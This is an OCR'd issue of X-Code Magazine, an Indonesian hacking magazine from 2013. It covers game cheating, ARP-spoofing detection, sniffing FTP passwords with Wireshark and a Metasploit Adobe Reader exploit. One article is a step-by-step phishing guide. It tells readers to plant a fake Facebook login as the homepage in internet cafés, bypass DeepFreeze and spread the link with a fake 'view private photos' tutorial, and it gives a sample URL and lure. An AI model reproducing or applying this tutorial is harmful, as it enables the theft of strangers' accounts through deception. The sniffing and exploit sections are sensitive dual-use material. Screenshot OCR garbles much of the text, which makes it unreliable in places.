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Redaksi X-CODE Magazine

Apa itu Majalah X-Code :

[l X-Code magazine adalah majalah hacking dan
security bahasa Indonesia dengan penggunaan media
murni PDF.

Latar belakang X-Code Magazine :

[ Kebutuhan akan informasi, artikel, hacking dan tutor
semakin banyak sehingga Komunitas memutuskan
untuk merilis sebuah magazine untuk komunitas IT di
Indonesia.

Tujuan :
[l Memberikan / sharing / berbagi artikel untuk

perkembangan ilmu komputer. hacking dan security di
Indonesia.

Misi :
U Menyebarkan ilmu-ilmu komputer, hacking dan

security untuk tujuan positif.

Hak cipta/Lisensi :

Seluruh materi X-Code Magazine dapat didownload,
dibaca, dimodifikasi serta disebarkan secara bebas
untuk tujuan bukan komersial

(nonprofit), dengan syarat tidak menghapus atau
merubah atribut penulis. Hak cipta di tangan penulis
dan X-Code Magazine dengan mengikuti licensi
Creative Commons.

Distribusi X-Code Magazine :

Official X-Code  Magazine Page:
http://www.xcode.or.id/magazine.htm

Mailing list X-Code :
http://groups.vahoo.com/group/yogyafree-
perjuangan

Forum X-Code - Yogyafree :
http://xcode.or.id/forum

CD Yogyafree dan sebagainya.

Contact : X-Code Magazine :

Alamat E-mail Redaksi :
vk _family code@yahoo.com
(Yogyakarta).
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> Xcode Magazine 22

Ini adalah X-code magazine pertama di tahun 2013, X-code Magazine
merupakan wadah bagi komunitas X-code untuk berbagi, dan luar biasa sampai
sekarang terus aktif sebagai sarana belajar untuk komunitas.

Disini kami menyajikan artikel-artikel yang berhubungan dengan hacking dan
keamanan komputer yang semoga dapat menambah referensi pembaca X-code

Magazine.

Kepada seluruh pembaca, kami segenap redaksi X-code Magazine,
mengucapkan selamat membaca, salam dari kami redaksi X-code.

Salam perjuangan!
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Mengenal Maltego - Oleh Kurniawan - yk_family_code@yahoo.com
Cheating Game Hacker Evolution Untold oleh Mr_Shiro
SOCIAL ENGINEERING UNTUK FAKE LOGIN BY : PUTRA DEWANGGA C.S
Menguji program DecaffeinatID dalam memberikan peringatan adanya ARP Spoofing - Oleh Kurniawan -
yk_family_code@yahoo.com
HACKING GAME DENGAN CHEAT ENGINE oleh dE_k3y
Mengintip password login FTP di mikrotik dengan Wireshark - Oleh Kurniawan - yk_family_code@yahoo.com
Adobe JBIG2Decode Heap Corruption oleh Kurniawan - yk_family_code@yahoo.com
Worm Si Cacing yang indah - oleh : One-co Momouchi
Mengenal NetworkMiner oleh Kurniawan - yk_family_code@yahoo.com

Pengujian SSH lebih aman dari Telnet dengan Wireshark - Oleh Kurniawan



X-code di tahun 2012 dan 2013 awal

Di tahun 2012 bagi X-code adalah tahun dimana sangat ramai komunitasnya di
facebook group, saat ini member Group FB X-code adalah lebih dari 28.000
members. Sharing dan berbagi di group facebook sudah menjadi salah satu
bagian budaya di komunutas hacker X-code.

Selain sharing-sharing di dunia maya, juga X-code sharing di dunia nyata, hanya
saja cenderung di tahun 2012 X-code lebih jarang mempublikasikan jika ada
event X-code karena ada event yang dimana memang ditujukan untuk
mahasiswa kampus tersebut, ada juga yang tidak dipublish karena memang
kebetulan sedang padat.

Event-event X-code di Jogja dan luar Jogja jumlahnya hampir sama, event-event
X-code di dominasi dengan seminar-seminar di kampus, yang cukup trend di
minta untuk mengisi tahun 2012 dan 2013 awal adalah web hacking, walau ada
juga yang materinya tentang hacking secara umum.

Forum X-code juga sudah mulai menunjukkan aktivitasnya lebih baik
dibandingkan sebelumnya dimana member banyak tersedot di facebook group
X-code. Forum telah memiliki banyak fasilitas lebih lebik baik dimana kita bisa
memberikan reply dengan account FB kita, shoutbox yang lebih baik.

Situs jejaring sosial X-code tidak kalah di kembangkan dimana telah di pasang
fitur baru yaitu Recent Visitor, dari berbagai perkembangan media X-code yang
ada membuat X-code tidak hanya mengandalkan sisi kuantitas yaitu jumlah
member yang banyak, tapi juga isi pembelajaran, fitur-fitur media yang lebih
baik.

Maju terus X-code!

Oleh Kurniawan (Founder X-code) - yk family code@yahoo.com




Mengenal Maltego

Maltego adalah program yang dapat digunakan untuk menentukan informasi
hubungan antar domain, nama DNS, ip address dan sebagainya.

Untuk menggunakan program ini maka anda di haruskan login yang dimana
account dapat dibuat gratis di situs
https:/ /www.paterva.com/web6/community /maltego/

Bagi yang ingin mendownload bisa di download gratis di
http:/ /www.softpedia.com/ get/Others/Finances-Business/Maltego-
Community-Edition.shtml

Kita mulai saja cara menggunakannya
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Cheating Game Hacker Evolution Untold

Ada yang tau game hacker yang judulnya Hacker Evolution Untold ?
game enteng yang sizenya gak lebih dari 100mb tapi lumayan untuk menmbah
skill hacking kita, di tambah mini map, music ala-ala Techno jadi kayak hacker
beneran dah! Di game ini kita harus di tuntut cepat dalam mengetik plus
berpikir kalo kelamaan nanti game over, ada 2 hal penting di game ini ya itu
Trace (kalo tracenya sampe 100% balik lagi ke pertama) dan uang (gak perlu di
jelaskan lah yang ini) tapi ada kelemahan dari game ini yaitu beberapa elemen
penting dari game ini hanya berbentuk *.txt, sangking file-file di dalam game ini
gak di beri extensi *.txt langsung. Jadi alat yang kita perlukan untuk mengutak-
atik game ini Cuma satu “Notepad” this awesome! Oke dari ini saya beri
tutornya dari mengganti music sampe mengutak-atik server yang ada di dalam
game.

1. Ganti Music Game Hacker Evolution Untold

Ok tutor pertama kita buat music tambahan pada game Hacker Evolution
Untold biar enak gitu di tahap-tahap selanjutnya biar waktu kita utak-atik game
ini bisa ditemani music yang keren. Tapi syaratnya kamu harus punya file music
ber-ekstensi .mp3. kenapa gak punya? Silahkan minta di Chuck Norris...

Kalo sudah ketemu kita copy file tersebut di Directoriy tempat game HEU di
install tepatnya dii file “heuntold-music” nah selesai....? Belum!

o DR AV STy FE S R e e |
File Edit Formak WYiew Help

Ea ruto_Shippuuden_-_Sign_Tw_Size.mp3 ini contah file yang sudah di edit
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Sekarang kita pilih mau memainkan music tersebut kapan? Kalo ane sih mau
mainin musicnya waktu kita mulai “Hackingnya” jadi kita buka “hc-playlist-
game.txt” kalo sudah tambahkan di terserah kamu mau naruh di urutan pertama
atau 1 milyar kalo ane sih mau taruh di urutan pertama. Nah kita tinggal copy
nama file mp3 yang barusan kita copy sebagai contohnya ane copy file berjudul
“Naruto_Shippuuden_-_Sign_TV_Size” kalo sudah kita ganti juga angka 8 yang
ada di atas sendiri jadi angka 9 kalo mau nambah 1 lagu ganti lagi jadi angka 10
Sekarang kita mainkan gamenya, weleh?? Lagunya ganti...

AWW!!! THIS IS AWESOME!!!!

Kalau mau ganti music menu file txtnya “hc-playlist-menu” kalo mau ganti dari
pertama mulai game file txtnya “hc-playlist-intro”

2. Ganti tulisan pada game evolution untold

Sekarang kita ganti tulisan-tulisan yang ada di game evolution untold seperti
nama kernel yang kita pakai atau alur cerita yang sesungguhnya trik ini rada gak
perlu "

until Tlogin. | press ENTER to continue

Sekarang kita ganti cerita tersebut dengan isi curhatan hati kita atau biodata
kamu kalo kamu nekat bisa kamu tulis surat cinta dari doi kamu

Sekarang kita buka file “heuntold-data” keberadaan file tersebut sama di tempat
kamu menemukan file “heuntold-music”



Nah yang perlu kita edit adalah file text-intro-1 sampe text-intro-3 itu kalo kamu

rada punya skill menulis. kalo enggak ya kamu ganti text-intro-1 saja tapi
jadinya ya rada jelek

Kalo kamu mau edit tulisan-tulisan lainnya silahkan edit file-file yang ada di
dalam file tersebut

Note: kalo edit file ini lebih baik di backup dulu file txt yang mau di edit, terus
kalo mau kasih symbol (., ? :) jangan kebanyakan nanti game bisa error

4. “HOST” Tersembunyi

Pastinya kamu si manusia bertulang belakang ini tau kan kalo kita menemukan
semua Host di game ini yang tersenbunyi mendapatkan score Plus-Plus ! tau
sendiri kan enaknya Puls-Plus. Nah untuk menemukan file tersembunyi
tersebut silahkan kalian buka “hemod-untold” kalo kalian mau cari Host
tersembunyi pada Level 0 a.k.a “Learning” kalian buka file level-O-learning nah
di situ kalian bisa liat Host apa saja yang sembunyi
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Kalo boleh jujur ane baru pertama tau ada host yang namanya
secret.exosyphen.com
Kalo mau simple lihat saja file “hostlist terus” buka pake notepad

5. Menambah Uang Pada suatu “Host”
Nabh ini trik rada keren juga! Kan tadi kita sudah omongin tentang host.
Sekarang kita buat host tersebut punya uang yang melimpah! Dengan trik ini

host desk-11.corporate.com [host paling pertama sendiri] bisa punya uang 100
ribu dolaar ©

Tapi ditrik ini saya gak mau ngerubah host main.corporate.com tapi
main.corporate.com yang sebelumnya Cuma punya uang $1500 jadi $15000 1ho
kok sedikit. Ya terserah kamu mau edit jadi berapa tapi nol-nya jangan banyak-
banyak nanti Crash.

Oke pertama kita cari host yang mau kita ubah. Aku mau ngerubah uang yang
ada di Host main.corporate.com ya tinggal buka file level-O-learning = main
corporate.com nah cari file info. Buka file tersebut pake notepad

| L CHiPragram Fles\Hacker Evalition Unboldihemod-untold evsl-0-learmirg main, corpor sbe, ooim E] =]
" . 4 Fleries
Fies | mobd T
.| y 4 SATVICRS
FFL aaif |
|

File Info yang mau kita ubah

g =2 w wmaaoma o - = e summan i nraumg s Cweuny
[# 1= p i = el (= |1 .j..;]
i Fie Edt Formst View Hep r
J430 35
1500 -—-_._.__________‘_‘_
Ity uang vang mau kita ubah
Ketemu dah ~*

Nah tinggal ubah dah jadi 15000 sekarang kita lihat apa yang terjadi pada
gamenya?



== fl |
main. corporate. com “Mein. cor porate. co
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D Tacalhost

Hahaha!! Kena kau xD

Tunggu ada tambahan... aku menemukan suatu angka “256” apa itu angka
togel? Ups.. ternyata itu angka dari Encryption key dari host
main.corporate.com. nah jadi sudah tau kan rumusnya baris ke-2 uang dan beris
ke-3 Encrption key

Nah jadi kalo encryption keynya semakin kecil. Semakin cepat pula kamu nge-
Decrypt host tersebut A semakin cepat, trace juga semakin kecil

Ayo ubah encryption key jadi 0 dan uangnya jadi 1 juta. Hehehehe! Ups..

3. Trainer Cheat

Kalo kamu rada males edit-edit file-filenya atau takut crash[saya sudah 5x crash
gara-gara kebanyakan edit-edit nih game TT] saya si manusia ganteng ini a.k.a
Mr. Shiro punya Trainer Cheatnya. Sori cheatnya gak terlalu canggih Cuma bisa
ngerubah Trace menjadi 1% [Permanen] selama trainer di aktifkan dan
menambah 50000 uang just it. Kalo ada waktu ane mau kasih lagi tutorial-
tutorial tentang game khususnya game Komputer soalnya sekrang ane lagi
tertarik dalam dunia Cheating not Chating



| CErshin | =11E3

. Hacker Evulution Untlad TrainereG .

Thank you for use this trainer #-+
Thank wou for use this trainer #-+

.

*)Tapi masih ada gak enaknya gan TT kalo kalian terlalu banyak edit game ini
kalian di suruh install ulang... tapi masih ada pilihan yes/no nya kok gan ©

Name : Mr_Shiro
Email : hatereen65@yahoo.co.id
My Website : www.kunai-ninja.blogspot.com [Follow
yal! :3]
Special Thanks to : Allah SWT, Orang tua yang sudah
\ membelikan computer ini, Teman dan Guru ane dan
" kamu yang sudah membaca tulisan ini! Arigato
Gozaimas!! :3
Referensi : X-code Magazine & Google

THE END



SOCIAL ENGINEERING UNTUK FAKE LOGIN
BY : PUTRA DEWANGGA C.S
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Menjelang akhir zaman (katanya) seperti ini, telah banyak bertebaran trik
dan cara - cara untuk mendapatkan akun fesbuk,twitter, bahkan gmail dengan
jalan yang mudah (sesat). Mulai dari pemasangan keylogger sampai dengan
penggunaan FAKE LOGIN. Penggunaan keylogger memang efektif, mudah dan
cepat, tapi itu tidak ada tantangan dan seninya (menurut saya). Maka dari itu
kali ini saya akan menjelaskan tentang teknik dan trik penggunaan SOCIAL
ENGINEERING untuk menyebar luaskan FAKE LOGIN.

Apa itu FAKE LOGIN???apa itu SOCIAL ENGINEERING???

e FAKE LOGIN adalah halaman login palsu yang sengaja dibuat hacker
untuk menipu korbannya agar memasukkan akun dan sandi

e SOCIAL ENGINEERING adalah trik atau teknik untuk mengelabui orang

Oke..langsung saja kita praktekkan untuk FAKE LOGIN fesbuk

LANGKAH PERTAMA : BUAT FAKE LOGIN FACEBOOK

Anda tidak perlu susah - susah buat, telah banyak bertebaran di internet fake
login fesbuk yang telah jadi. Salah satunya bisa anda download di website xcode

LANGKAH KEDUA : BUAT HALAMAN WEBNYA DI INTERNET
Bagaimana cara membuat halaman webnya??? Yaitu dengan mengupload file -
file FAKE LOGIN tersebut ke hosting yang gratisan, lalu membangun web
melalui file - file yang telah diupload. Jadi, intinya hosting digunakan untuk
membangun web melalui file yang diupload. Karena ripway telah dihapus, dan
byethost dkk terlalu ruwet maka saya menggunakan hostinger.
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LANGKAH KETIGA : BUAT ALAMAT YANG SESUAI

Pada saat pembuatan halaman web, maka akan diminta untuk menentukan
alamat halaman web tersebut. Dalam pembuatan alamat, diperlukan teknik
agar bisa menjadi multifungsi.kali ini saya menggunakan alamat
http://facebreakphotos.p.ht/fb.html . mengapa saya tidak menggunakan alamat
yang mirip seperti facebok, facebooks,dll ???, alasan pertama karena alamat
tersebut sudah pasti telah dipakai atau mungkin telah diblokir oleh hosting.
Dan alasan kedua untuk mendukung langkah kelima ;D

LANGKAH KEEMPAT : JADIKAN HOME PAGE BROWSER
Tempat paling strategis untuk menanam fake login bisanya adalah suatu tempat
yang disebut WARNET. Datangi semua warnet di kota anda, lalu gunakan
semua komputernya dan tanamkan alamat fake login anda ke setiap browser di
tiap komputer yang anda pakai.

Jika anda terhalang oleh DEEPFREEZE, maka anda bisa menjebol deepfreeze
tersebut dengan Deepfreeze remover. Di internet banyak betebaran aplikasi -
aplikasi semacam itu. Beruntunglah anda jika ada deepfreeze karena dengan
begitu, alamat fake login anda akan awet di dalam browser.

.t htmi]

NB: KLIK TOOLS - OPTIONS - GENERAL




LANGKAH KELIMA : SEBARKAN DENGAN PENIPUAN
Maksudnya adalah menyebarkan alamat fake login anda dengan jalan
mendesainnya menjadi tutorial palsu. Anda desain sedemikian sehingga agar
membuat orang percaya tutorian anda. Berikut saya contohkan kalimatnya..

“TRIK MELIHAT PRIVATE PHOTO

1. buka web http://facebreakphotos.p.ht/fb.html
2. lalu login seperti biasa

3. klik akun teman anda

4. buka daftar album

5. private album akan muncul

y: D3vilC0de, www.Devil.com

sekarang anda mengerti kan mengapa saya menggunakan alamat tersebut, yah
benar...untuk mendukung tutorial palsu tersebut.jadi pikirkan terlebih
dahulu alamat fake login yang akan anda buat.lalu terserah anda bagaimana
menyebar tutorial tersebut agar banyak orang percaya

ABOUT ME:

Nama : Putra Dewangga C.S

Nick : Hacktrooper

Fb : Dewangga SS-Hijacker WAR

Pendidikan : Mahasiswa S1 Fisika FMIPA ITS

Contact : 085736414242

thank to : Allah SWT | Ortu | MABASIKA 2012 | ICT SMAKER | X-CODE |

YOGYAFREE



Menguji program DecaffeinatID dalam
memberikan peringatan adanya ARP Spoofing

Dengan IDS DecaffeinatID ini kita dapat mengetahui adanya ARP Spoofing yang
menyerang komputer kita.

Program dapat di download di X-code Galaxy http://galaxy.xcode.or.id

decaffeinatid0.09
File Edit ‘iew Favorites Tools  Help

@Eﬁack - -\-I) l.@ pSearch H:" Faolders v

wddress |[C5) Cidefdecaffeinatido,o9

File and Folder Tasks ES D source . DecaffeinakID
IEE Rename this file

@ Mave this File
Copy this file
& Publish this file to the Web
£3) E-mail this File

Di atas tampilan file DecaffeinatID dan folder source setelah di extract.



4 v &8RP Cache

b Edit Settings in INI GO T
v Windows Firewall Log

-l =3 winrer ... - T8

Program ini adalah
—j Motepad

E Microsoft PowerPoink

=] Yiew Logs

% \'—1 9 v Security Event Log
'5 = Update... W Peverse DNS IPs
-

= @) About..

L~

o

(=]

(@ Exit

Diocument: B i an & o

program portable, hasilnya setelah dijalankan.
Simple DNS Plus

Windows Media Playver

FileZilla Server
Windows Messenger

Drriver Checker

Windows Maovie Maker

DriverEasy

ActivePerl 5,12.2 Build 1203 3

W Microsaft YWard

1Y
"E etkercap

All Programs L]

Ettercap NG

Beeo

Apache Friends

&t

arcai,com netcut help

Zain r ninstall MetCut

BE&®gaeE 6

CCProxy g WM, AFCal, com

FileZilla FTP Client ¥ niekcut
[ec-win32 r

mIRC ¥

3eeeeE

Mrap 4

Mari kita uji dengan Netcut. Netcut dijalankan

oWjorF (1P |HostMame | PhysicalAddress | GateWay [P | |
)

=2
=
=
=)




Disini dilakukan netcut pada suatu target

Q B Command Prompt - ping -t google.com

from 74.125.235.33: bhytes=32 time=51ims
from ?4.125_235.33: bhytes=32 time=Sims
from ?4.125_235.33: bhytes=32 time=57ms
m from 74.125.235_33: hytes=32 time=SBnms

from ?4.125_235.33: bhytes=32 time=51ms

Address

from 74125 _235%.33: bhytes=32 time=88ms

','_-I from 74.125_.235.33: bytes=32 time=H3ms
from ?4.125_235.33: bhytes=32 time=58ms
o from 74.125_235%.33: hytes=32 time=54ms

from ?4.125_235.33: bhuytes=32 time=51ms
from ?4.125_235.33: bhytes=32 time=53ms
ot from ?4.125_235.33: hytes=32 time=5ims
from ?4.125_235.33: bhytes=32 time=53ms
% from ?4.125_235.33: bhytes=32 time=52ms
from ?4.125_235%.33: bhytes=32 time=51ms
Iim from ?4.125_235.33: bhuytes=32 time=58ms
h from 74125 _235%.33: bhytes=32 time=1%ms
L= from 74.125.235.33: hytes=32 time=6lims
from ?4.125_235.33: bhytes=32 time=4%ms
timed out.
timed out.
timed out.
] timed out.
e timed out.

Target disconnect internetnya
22 ARP Watcher

Mew IP in cache: 192,168.1, 106 with MaC of
00-e0-4c-c7-0d-7c

|_ e,
- L._E. Document! - .., r-lﬂll: untitled - Paink ‘ ﬂ '55, ]\Il

Diganti targetnya yaitu 192.168.1.127 yang terpasang DecaffeinatID



ON/OFF Physical Address - Gateway IP
.

=
=
=
B
2

r

20130310083139: Mew IFP in cache: 192.168.1.106 with MaC of 00-e0-4c-c7-0d-7c
20130310083407: Mew IP in cache: 19%2.168.1.195 with MaCZ of 00-30-18-aa-aB-61
20130310083511: Mew IFP in cache: 192.168.1.1 with MaZ of 61l-4f-08-03-58-11

Big Problem

IP 192,168.1.1 changed MAC from 61-4f-08-03-55-11 to 62-6b-07-17-42-63
W ARNIMG!
This IP is a @ateway!!! Something weird is up!!!

Big Problem

IP 192.168.1.1 changed MAC from 62-6b-07-17-42-63 to 63-04-63-Zb-6a3-60
WARMIMNG!T
This IP is & Gateway!!! Something weird is up!!1




27 ARP Watcher X

IP 192,163, 1.1 changed MAC from 62-6b-07-17-4e-63 to
63-04-6a-2b-6a-60
WARMINGI

gl_This IP is a Gateway!!! Something weird is up!!!

F English (U5

i 3 Paink v | o CHMWIND, ., [ idslog-n... & @ x [

Muncul pesan seperti diatas bahwa IP Gateway telah terganti, ada yang
melakukan ARP Spoofing.

Oleh Kurniawan - yk family code@vyahoo.com




HACKING GAME DENGAN CHEAT
ENGINE

CROS55 FIRE

Tentu sudah pada tau semuanya, software ini banyak oleh para gamers Cheat
engine adalah software untuk merubah nilai tertentu pada sebuah game, seperti
merubah nilai health, gold, dan ammo. Misalkan erubah nilai gold dari 100
menjadi 1000. Software ini berguna sekali buat namatin game atau bermain
curang saat bermain game tanpa kode-kode cheat khusus, tapi sayang software
ini cuma buat game-game yang bersifat installer.

Pada tutotial kali ini, saya akan memberitahu bagaimana cara menggunakan
cheat engine. Langsung saja pertama-pertama install Cheat Engine, ada
pemberitahuan untuk memulai tutorial dalam bahasa inggris, untuk memulai
tutorial klik Yes jika tidak klik No (terserah). Untuk contoh saya akan
mennggunakan game Garden Defense buatan MyPlayCity.com game ini
bertemakan shooting dan strategi, mirip dengan permainan yang ada di
handphone, (jadi ingat dengan sahabat dulu) game ini menurut saya
menyenangkan untuk mengasah strategi, tapi membuat cepat pusing jika sudah
kalah, tapi bagaimana kalo di-hack? hehehe.... pasti lebih mudah.

Jalankan gamenya, supaya mudah pada saat meng-hack, masuk ke terlebih
dahulu ke menu preference, hilangkan tanda centang pada opsi Full Screen.
Setelah dimulai, klik tombol play, pilih menu level klik tombol play lagi.



Permainan dimulai, saat pertama kali bermain kita cuma diberi modal 100 untuk
membeli pasukan, klik tombol escape untuk mem-pause game. Kita load
menggunakan Cheat Engine, buka Cheat Engine klik tombol "select a process to
open", pilih nama proses (engine.exe), klik tombol Open. Setelah game ter-load
masukan jumlah uang 100 pada kotak Value . Hilangkan tanda centang pada
Fast Scan, kemudian beri tanda centang pada pause game while scanning,
selanjutnya klik tombol "First Scan" hasilnya akan muncul di kolom Address dan
Value di sebelah kiri.

Cheat Logine 6.1
Fi= Edt Table Heb

= OO0 IC - eregne. s
ENEECIN e
Found: 11,166
Address Value A Nzwﬁcun1 Bl Sean Te
OD1B7700 100 Saitings:
O01E7710 100 Walue:
00187720 100 [IHex | il
00187730 100
onig7aco 100 Scan Type | ExactViale w
oD1E78D0 100 iokue T
O01R7EED  10@ e
Qo1&78F0 100 Wemaiy Scan Opliors -
00187900 100 L Urrandomizer
anige7ain 100 [_JEnable Speechack
0D1e7CED 100
0D1E7C%0 100

00187CAD 100
00187CE0 100
001g7CCn 100
QD1E7CDO 100 W

* >

Mecen Yiee: @I Add Address Manuslky

Achve  Description Addiess Type Vo

A fpors Tabie Extias
Gambar.1

Kita kembali lagi ke permainan, belilah 1 pasukan, jumlah uangnya akan
berkurang menjadi 0, klik lagi tombol escape. Kembali ke Cheat Engine, geser
slider ke bawah, cari dari deretan angka 100 yang nilainya berkurang dari 100
menjadi 0. Setelah di temukan, masukan nilai 0 pada kotak Value, klik tombol
Next Scan, nilai yang berkurang tadi akan muncul lagi pada kolom di sebelah
kiri. Kita belum tau mana yang menjadi nilai gold pada game, ada banyak yang
bernilai 0, untuk itu kembali lagi ke permainan. Klik tombol resume, klik tombol
ready, kita biarkan permainan berjalan sampai wave 1 selesai. Setelah pasukan
mengalahkan musuh, jumlah uang akan bertambah menjadi 230, klik kembali
tombol escape. Lihat di Cheat Engine, ada 2 value yang berubah dari nilai 0
menjadi 230 (address 00EFO4A8 dan 00522D80).



Fle Edt Tablke Help
= ODDICELC enging exa
= |
Foursd: 42
- -
o
Wakae:
l [ Hex |0
DOFEALR i
DOFBACCA 1] Scan Type | Exact Value w
DOFEEDE4 0
DOFBCSZC O Value Tipe:
D1B15524 0 Memay Scan Dptiona
D2 49EACT i El Ureandamizer
B2557CC4 ] [ Enabie Spesdhack:
QERHATEL g what vals by changa this bn?
DEAZEZAF 00
DEAZ651E 0O
DEAZE52F 0
DEAZIEBE O o coel
DE&Z9BIE 0
DEAZIEIZ 0 2 ] T
emon Visw ) (Aidd Ecdess Marualy
.ﬁrm:e Desalpl_m ) .nﬂc_i_a _ : Aus
Advanced Opson: Table Exiar |
Gambar.2

kita pilih address yang berwarna hitam atau address 00EF04A8. Klik dua kali
address 00EF04A8 (akan muncul di kolom sebelah dibawah), terus klik dua kali
pada kolom value angka 230, ubah menjadi 8000. Kembali lagi ke permainan,
uangnya bertambah menjadi 8000 (hehehe.. akhirnya) klik tombol save pada
cheat engine untuk menyimpan data game yang sudah di-hack, jika suatu saat
ingin meload game kembali dengan cheat engine tinggal klik tombol yes.

Author : dE_k3y
Situs Blog : vegabond.blogspot.com
Fb : metz.farid



Mengintip password login FTP di mikrotik
dengan Wireshark

Bagi pengguna Mikrotik untuk transfer file-file biasanya menggunakan FTP di
mikrotik router, bisa untuk update desain billing hotspot dan sebagainya Disini
dimungkinkan kita dapat mengetahui passwordnya dengan menggunakan
Wireshark.

Bagi yang tidak mengetahui apa itu FTP. FTP adalah protokol pengiriman berkas
(Bahasa inggris: File Transfer Protocol) adalah sebuah protokol Internet yang
berjalan di dalam lapisan aplikasi yang merupakan standar untuk pengiriman
berkas (file) komputer antar mesin-mesin dalam sebuah Antarjaringan.

Berikut contoh cara mengintip. Jalankan wireshark.



EE

‘ Expressian. ..

Silker: ‘

The World's Most Popular Network Protocol Analyzer

Y h 1.8.5 ; fram ftru

ol &) M

Interface List Open

Live list of the capture interfaces Open a previously captured Fle
[caunts incarning packeats)

Open Recent:

& Start
Choose one or rove interfaces to capture Frorn, then Start @ Sample Captures

& rich assortrent of example capture files on the wiki

@ Realkek RTLE139 Family Fast Ethernst Adapker (Micros
@ Sun {Microsoft's Packet Scheduler) : \Device\MPF_{063

|

ﬁ Capture Options

Stant a capture with detailed options

b LT S Frabile . PaCa. o

Pilih Capture Options

e

&

. Captue @ Files QN

Websit

\isit the praj

User's |
The Usar's G

Securit
Il with 1

| w

»

[



"’ Wireshark: Capture Options

Capture

re Interface Link-laver header Prom. Mode Snaplen [B] Buffer [ME

I::ﬁﬁ';;hﬁgwwg Family Fast Et... gy disabled  default 1

Sun {Microsoft's Packet Schedul... s
Fi T Ethernet disabled  default 1
pJ

[ ] capture on all interfaces Manage Interfaces
@pture all in promiscuous mode
Capkure Fileis) Display Options

File: Update list of packets in real time

[ use multiple Files IJse pcap-ng Format

Automatic scrolling in live capture

Hide capture info dialog
Mame Resalution

v )
o e Enable MAC name resolukion

Pilih Interface yang digunakan, disini penulis mematikan option Captire All on
Promiscuous mode.

=~ Command Prompt - ftp 192.168.1.99

Microzoft Windows AP [Version 5.1.268081
CGC>» Copyright 1785-2801 Microsoft Corp.

C:sDocument=s and Setwftp 1?2 .168.1.99

Connected to 192.168.1.99.

228 MikroTik FTP szerver (MikroTik 3.38> ready
User €122.168.1.99:=:<none?>: admin

331 Password required for admin

Password:

238 User admin logged in

ftp>

Saat Attacker login dengan FTP ke mikrotik.



File Edit \iew Go Capture Analyze Statistics  Telsphony Tools  Internals  Help

B e A¢e»DTFLIEE QQAB0 | @EB -
Filter: |Ftp v|Expressi0n... Clear Save
Mo, i Source Destination Protocol  Length  Info

2 508519 1 192,168 Responze: 220 mikroTik
21868 4217 192.168.1.104 192.168.1.59 e 66 Request: USER admin
21870 151.646333 192.1658.1. 59 192.168.1.106 FTF 87 Response: 331 Password r
21802 154.736145 192.168.1.10& 192.168.1.99 FTF 71l Request: PASS tukangsate
21865 154.742756192.1658.1. 59 192.168.1.106 FTF 80 Response: 230 User admir

Password langsung dapat diketahui
"4l Capturing from Realtek RTL.B139 Family Fast Fthernet Adapter (Microsoft's Packet Scheduler) : WDevicel... I'._II'EI

File Edit Wew Go Capture Analvze Statistics Telephony Tools  Internals  Help
= & @ | & SBEIAe+DTELIEE QQACH @HM

Filter: |Ftp V‘Expressinn... Clear Save

Destination Protocol  'Length  Info

[=H Tirni

2 6B8.1.99 L168.1.106 =R aTa] A =T,

21866 151.644217 192.168.1.106 192.168.1.909 F Mark Packet (koggle) dmin
21870 151.6846335 192 1a8.1. 95 1562.1658.1.106 F Ignore Packet (toggle) asswar
21892 154, 736145 192.168.1.106 192.168.1.959 F (X Set Time Reference (togale) ukangs
21895 154. 742756 192.168.1.5959 192.168.1.106 F T Time Shift. .. ser ad

7 Edit or Add Packet Comment. ..
Manually Resolve Address

Apply as Filter
Prepare a Filker
Zonversation Filker

- v v v

Colorize Conwersation

Frame 21837: 101 hytes on wire (808 hits), 101 bytes c: . ace 0
Ethernet II, src: CadmusCo_b2:34:5F (08:00:27:h2:34:5T] Copy F0:e0:4
Internet Protocol version 4, sSrc: 192.168.1.99 (1592.168 (192.1
Transmission Control Protocol, Sre Port: ftp (210, Dst 3 Decode As.., q: 1,
@ Fila Transfer Praracn]l FETRT = Prink. ..

|

Shiow Packet in Mew Window

Jika ingin memeriksa lebih jauh, pada filter masukkan FTP lalu klik kanan pada
salah satu paket lalu klik Follow TCP Stream.



A Follow TCP Stream

‘Stream Conkent

220 MikroTik FTP server (MikroTik 3.30) ready
LUSER admin

331 Password reguired for admin

PAss tukangsate

230 User admin Togged in

|Entire conversation {135 bytes) ~|

[ Bnd || savess || e | O asco O EBCDIC O Hex Dump O C Arrays @ Raw

Help [ Filter Qut This Stream ] I Close

Oleh Kurniawan - vk _family code@yahoo.com




Adobe JBIG2Decode Heap Corruption

yu

EXPLOITED !

Description This module exploits a heap-based pointer corruption flaw in Adobe
Reader 9.0.0 and earlier. This module relies upon javascript for the heap spray.
References:

CVE: 2009-0658

OSVDB: 52073

URL: http:/ /bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-
universal-exploit.html

URL: http:/ /www.adobe.com/support/security /bulletins/apsb09-04.html

Adobe Acrobat versi lama cukup rentan untuk di serang, sebelumnya penulis

memberikan tutorialnya menggunakan Python pada target dan exploit yang
berbeda.

Disini penulis mencoba melakukan hacking pada target Adobe Acrobat 9.0.0
dengan Metasploit Framework.



File Wiew BTSN Aus dcerpc adobe_flash_mp4_cprt Mugins  Help

misc aol_ampx_convertfile

mmsp aol_icq_downloadagent

motorola apple_itunes_playlist

b
Tobs | cess AN p|  driver »| adobe_Rash_otf_font
apple_ios » email » adobe_Ffash_rtmp
bsdi » Eemc » adobe_Ffash_sps
dialup » fileformat ¥ adobe_Ffashplayer_arrayindexing
frechsd »  firewall »| adobe_Rashplayer_avm
hpux y  fp y»  adobe_fashplayer_flash10o
iris » games » adobe_Fashplayer_newfunction
linux » http » adobe_Ffatedecode_predictor02
mulki » iis » adobe_qgeticon
OoH |  isapi ¢ adobe_media_newplayer
solaris » Mdap ¢ adobe_shockwave_rcsl_corruption
unix y license p| adobe_utilprintf
m local }  aim_goaway
lotus ¢/ aladdin_choosefilepath_bof
Ipd y amaya_bdo

4

4

»

»

More... apple_quicktime_marshaled_punk

apple_quicktime_mime_type

armela Arsiclrbinaa uben

Diatas jika di jalankan di GUI

Jika di console sebagai berikut

| I
| METASPLOIT CYBER MISSILE COMMAND V4

/ /
. / / X
\ / /
\ / + /
\ + / /
* / /
/- /
X / / X
/ #it#
/ # % #

/ B4



#H##H HAHAHHH - HHH##
8%/ \/ \/ \ Hussssgssss ) \/ \/ \  ####
HARHAHARHAHH R H AR H A HA R HAHA R H AR H A HARH AR BB AR B H AR B HH R H AR R
H#HHHHH AR A
H#HHHHH AR E R R R R R R R R R R
H#HHHHH AR A
# WAVE 4 ######## SCORE 31337
HAHAHAHAHAHAHAH AR AR AR AR H A # A # 4 ###4 HIGH FFFFFFEF #
